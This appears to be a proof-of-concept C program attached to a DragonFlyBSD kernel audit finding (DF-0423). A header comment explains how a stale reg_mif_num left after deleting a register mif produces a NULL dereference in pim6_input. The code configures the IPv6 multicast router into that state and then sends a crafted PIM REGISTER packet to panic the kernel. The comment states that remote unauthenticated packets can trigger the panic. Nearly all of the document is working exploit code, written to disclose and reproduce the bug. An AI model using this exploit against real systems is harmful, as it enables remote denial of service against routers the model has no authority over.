DragonFlyBSD Kernel Audit
DF-0423 / poc_trigger.c
← back to finding ↓ download raw
/*
 * DF-0423 reproduction: stale reg_mif_num after MRT6_DEL_MIF -> remote NULL-deref.
 *
 * Bug (verified by trace):
 *   del_m6if() (ip6_mroute.c:641) zeroes mif6table[N] (-> m6_ifp = NULL) and
 *   recomputes nummifs, but NEVER resets the global reg_mif_num (only cleared
 *   in ip6_mrouter_done, :548). If a REGISTER mif at index N is deleted while a
 *   phyint mif at M>N exists, nummifs stays >= N+1 and mif6table[N].m6_ifp=NULL.
 *   pim6_input's guard (:1744) `reg_mif_num >= nummifs || reg_mif_num==-1'
 *   PASSES (N < nummifs), so if_simloop(mif6table[N].m6_ifp=NULL,...) at :1842
 *   dereferences NULL -> kernel panic.
 *
 * Trigger model: a root-configured IPv6 multicast router (MRT6_INIT + the
 * specific add/delete order) is left vulnerable; then ANY remote, unauthenticated
 * PIM REGISTER packet (proto 103) panics the kernel. CVSS AV:N.
 *
 * This program (run as root) performs the privileged mrouter setup, then injects
 * a PIM REGISTER frame as ingress on tap0 (write to /dev/tap0 -> RX path ->
 * pim6_input) to fire the NULL deref.
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <ifaddrs.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* MRT6 ioctls / mif6ctl (ip6_mroute.h) */
#include <netinet6/ip6_mroute.h>
#ifndef PIM_REGISTER
#define PIM_REGISTER 1
#endif

#define PIM_V2 2

static int mrt6_cmd(int s, int op, void *arg, int len) {
	int v = 1;
	errno = 0;
	if (setsockopt(s, IPPROTO_IPV6, op, arg, len) < 0) {
		fprintf(stderr, "[!] setsockopt op=%d: %s\n", op, strerror(errno));
		return -1;
	}
	return 0;
}

static uint16_t
pim_cksum(const struct in6_addr *src, const struct in6_addr *dst,
    const uint8_t *pim, int cksumlen)
{
	uint32_t sum = 0;
	uint8_t ph[40];
	int i;
	memcpy(ph, src, 16);
	memcpy(ph + 16, dst, 16);
	ph[32]=0; ph[33]=0;
	ph[34]=(cksumlen>>8)&0xff; ph[35]=cksumlen&0xff;
	ph[36]=0; ph[37]=0; ph[38]=0; ph[39]=103; /* IPPROTO_PIM */
	const uint16_t *p = (const uint16_t *)ph;
	for (i=0;i<20;i++) sum += ntohs(p[i]);
	p = (const uint16_t *)pim;
	for (i=0;i<cksumlen/2;i++) sum += ntohs(p[i]);
	while (sum>>16) sum=(sum&0xffff)+(sum>>16);
	return htons(~sum & 0xffff);
}

/* find tap0's IPv6 link-local (PIM Register is unicast to the RP/router) */
static int
tap0_ll(struct in6_addr *out)
{
	struct ifaddrs *ifa, *p;
	int rc = -1;
	if (getifaddrs(&ifa) < 0) return -1;
	for (p = ifa; p; p = p->ifa_next) {
		if (strcmp(p->ifa_name, "tap0") != 0) continue;
		if (p->ifa_addr->sa_family != AF_INET6) continue;
		struct sockaddr_in6 *s6 = (struct sockaddr_in6 *)p->ifa_addr;
		if (IN6_IS_ADDR_LINKLOCAL(&s6->sin6_addr)) {
			*out = s6->sin6_addr;
			/* clear KAME-embedded scope-id (bytes 2-3) for on-wire form */
			out->s6_addr[2] = 0;
			out->s6_addr[3] = 0;
			rc = 0;
			break;
		}
	}
	freeifaddrs(ifa);
	return rc;
}

int main(void)
{
	int s, tap;
	struct mif6ctl mc;
	mifi_t mif;
	unsigned int tap_index;
	struct ifreq ifr;

	/* 1. raw ICMPv6 socket (ip6_mrouter_init requires so_proto==IPPROTO_ICMPV6) */
	s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
	if (s < 0) { perror("socket RAW ICMPv6"); return 2; }

	/* 2. MRT6_INIT (ip6_mrouter_init checks m_len == sizeof(int*) == 8 on LP64;
	 *    value read as int must be 1). Pass an 8-byte buffer with int 1. */
	long one = 1;
	if (mrt6_cmd(s, MRT6_INIT, &one, sizeof(one)) < 0) {
		fprintf(stderr, "[!] MRT6_INIT failed\n");
	}
	fprintf(stderr, "[+] MRT6_INIT\n");

	/* get tap0 ifindex (needed for both register and phyint mifs) */
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, "tap0", sizeof(ifr.ifr_name));
	if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) { perror("SIOCGIFINDEX tap0"); }
	tap_index = ifr.ifr_index;
	fprintf(stderr, "[+] tap0 ifindex=%u\n", tap_index);

	/* 3. add REGISTER mif at index 0 -> sets reg_mif_num = 0.
	 *    (add_m6if rejects pifi==0 before checking MIFF_REGISTER, so pass a
	 *     valid ifindex even though the register mif uses multicast_register_if) */
	memset(&mc, 0, sizeof(mc));
	mc.mif6c_mifi = 0;
	mc.mif6c_flags = MIFF_REGISTER;
	mc.mif6c_pifi = tap_index;
	if (mrt6_cmd(s, MRT6_ADD_MIF, &mc, sizeof(mc)) < 0) {}
	fprintf(stderr, "[+] ADD_MIF register @0 (reg_mif_num=0)\n");

	/* 4. add phyint mif at index 1 (use tap0) -> nummifs=2 */
	memset(&mc, 0, sizeof(mc));
	mc.mif6c_mifi = 1;
	mc.mif6c_flags = 0;
	mc.mif6c_pifi = tap_index;
	if (mrt6_cmd(s, MRT6_ADD_MIF, &mc, sizeof(mc)) < 0) {}
	fprintf(stderr, "[+] ADD_MIF phyint @1 (nummifs=2)\n");

	/* 5. delete REGISTER mif at index 0 -> zeroes slot, reg_mif_num STAYS 0 */
	mif = 0;
	if (mrt6_cmd(s, MRT6_DEL_MIF, &mif, sizeof(mif)) < 0) {}
	fprintf(stderr, "[+] DEL_MIF @0  (mif6table[0].m6_ifp=NULL, reg_mif_num still 0)\n");
	fprintf(stderr, "[*] state now VULNERABLE: pim REGISTER -> if_simloop(NULL) panic\n");

	/* 6. send a PIM REGISTER via a raw IPPROTO_PIM socket (canonical path:
	 *    the kernel builds the IPv6 header + computes the PIM checksum via
	 *    IPV6_CHECKSUM, and delivers to its own ip6_input -> pim6_input). */
	int ps = socket(AF_INET6, SOCK_RAW, IPPROTO_PIM);
	if (ps < 0) { perror("socket RAW PIM"); }
	int ckoff = 2; /* PIM checksum is at byte offset 2 */
	setsockopt(ps, IPPROTO_IPV6, IPV6_CHECKSUM, &ckoff, sizeof(ckoff));

	/* build PIM REGISTER message (no eth/ip6 headers; kernel adds them):
	 *   pim[0]=ver|type, pim[1]=reserved, pim[2..3]=cksum(kernel), pim[4..7]=
	 *   register border (0), then 40-byte inner IPv6 (ver=6, dst=multicast) */
	uint8_t pmsg[8 + 40];
	memset(pmsg, 0, sizeof(pmsg));
	pmsg[0] = (PIM_V2 << 4) | PIM_REGISTER; /* 0x21 */
	pmsg[1] = 0;
	pmsg[2] = 0; pmsg[3] = 0; /* kernel fills via IPV6_CHECKSUM */
	/* pmsg[4..7] = register border = 0 */
	struct ip6_hdr *inner = (struct ip6_hdr *)(pmsg + 8);
	inner->ip6_vfc = 0x60;			/* inner version 6 (pim6_input:1788) */
	struct in6_addr mcast;
	inet_pton(AF_INET6, "ff0e::1", &mcast); /* inner dst multicast (:1800) */
	inner->ip6_dst = mcast;

	/* send to ::1 (loopback -- guaranteed delivered to ip6_input -> pim6_input) */
	struct sockaddr_in6 to;
	memset(&to, 0, sizeof(to));
	to.sin6_family = AF_INET6;
	inet_pton(AF_INET6, "::1", &to.sin6_addr);

	fprintf(stderr, "[+] sending PIM REGISTER (%zu bytes) via raw socket -> ::1\n", sizeof(pmsg));
	if (ps >= 0) {
		if (sendto(ps, pmsg, sizeof(pmsg), 0,
		    (struct sockaddr *)&to, sizeof(to)) < 0)
			perror("sendto");
	}
	/* give the kernel a moment to process + panic */
	sleep(2);
	fprintf(stderr, "[!] guest still alive -- panic did not fire\n");
	if (ps >= 0) close(ps);
	close(s);
	return 0;
}